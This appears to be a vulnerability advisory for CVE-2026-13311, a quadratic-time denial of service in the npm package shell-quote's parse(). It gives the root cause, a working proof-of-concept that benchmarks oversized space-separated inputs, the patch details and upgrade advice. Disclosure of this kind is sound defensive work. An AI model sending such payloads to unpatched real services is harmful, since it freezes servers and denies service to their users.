high · 7.5CVE-2026-13311Jul 20, 2026

CVE-2026-13311: shell-quote Quadratic Complexity DoS in parse()

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Passing a long space-separated string to shell-quote's parse() triggers O(n²) array copying that can freeze a Node.js server for minutes with a single small HTTP request.

Packageshell-quote
Ecosystemnpm
Affected<= 1.8.4
Fixed in1.9.0

The problem

shell-quote's parse() finalizes its token list using Array.prototype.concat inside a reduce call. Every iteration allocates a brand-new array and copies the entire accumulated result into it, so parsing N tokens costs 1+2+...+N copies: O(n²) total work.

Because Node.js is single-threaded, a blocked parse() blocks the entire event loop. No shell metacharacters are needed; plain space-separated words trigger the worst case. A single ~63 KB POST body (32,000 tokens) froze a test server for ~4.5 seconds and stalled every concurrent request for the full duration.

Proof of concept

A working proof-of-concept for CVE-2026-13311 in shell-quote, with the exact payload below.

javascript
// shell-quote <= 1.8.4, Node.js (any version)
// Benchmarks quadratic growth; ~128 KB input blocks event loop ~57 s
const { parse } = require('shell-quote');

const ms = fn => {
  const t = process.hrtime.bigint();
  fn();
  return Number(process.hrtime.bigint() - t) / 1e6;
};

for (const N of [16000, 32000, 64000, 128000]) {
  console.log(N, 'tokens ->', ms(() => parse('x '.repeat(N))).toFixed(0), 'ms');
}
// Observed on shell-quote@1.8.4, Node v24:
// 16000  tokens ->   678 ms
// 32000  tokens ->  4169 ms
// 64000  tokens -> 14914 ms
// 128000 tokens -> 57319 ms  (~4x per 2x input = confirmed O(n^2))

The root cause is in parseInternal (parse.js lines 200-203): the finalization reduce uses prev.concat(arg), which allocates a fresh array and copies all of prev on every single iteration. The maintainer even left a TODO comment flagging this exact issue. A second acc.concat(s) reduce in the module.exports wrapper (lines 211-224, reached when env is a function) has the same shape and the same cost.

The patch at commit 7ff5488 replaces both reduces with a push-into-accumulator loop using forEach. Array.prototype.flat() was considered but rejected because shell-quote targets node >= 0.4 and flat() is ES2019+. The forEach/push approach is also safer than push.apply() for large arrays, which can exceed V8's argument count limit.

The fix reduces finalizing 1,024,000 tokens from ~57 s (for 128k tokens before) to ~150 ms.

The fix

Upgrade shell-quote to 1.9.0 or later. Run: npm install shell-quote@latest. If an immediate upgrade is not possible, add a middleware or input-length guard that rejects or truncates request bodies before they reach parse(), keeping input well under ~10 KB to bound worst-case parse time.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research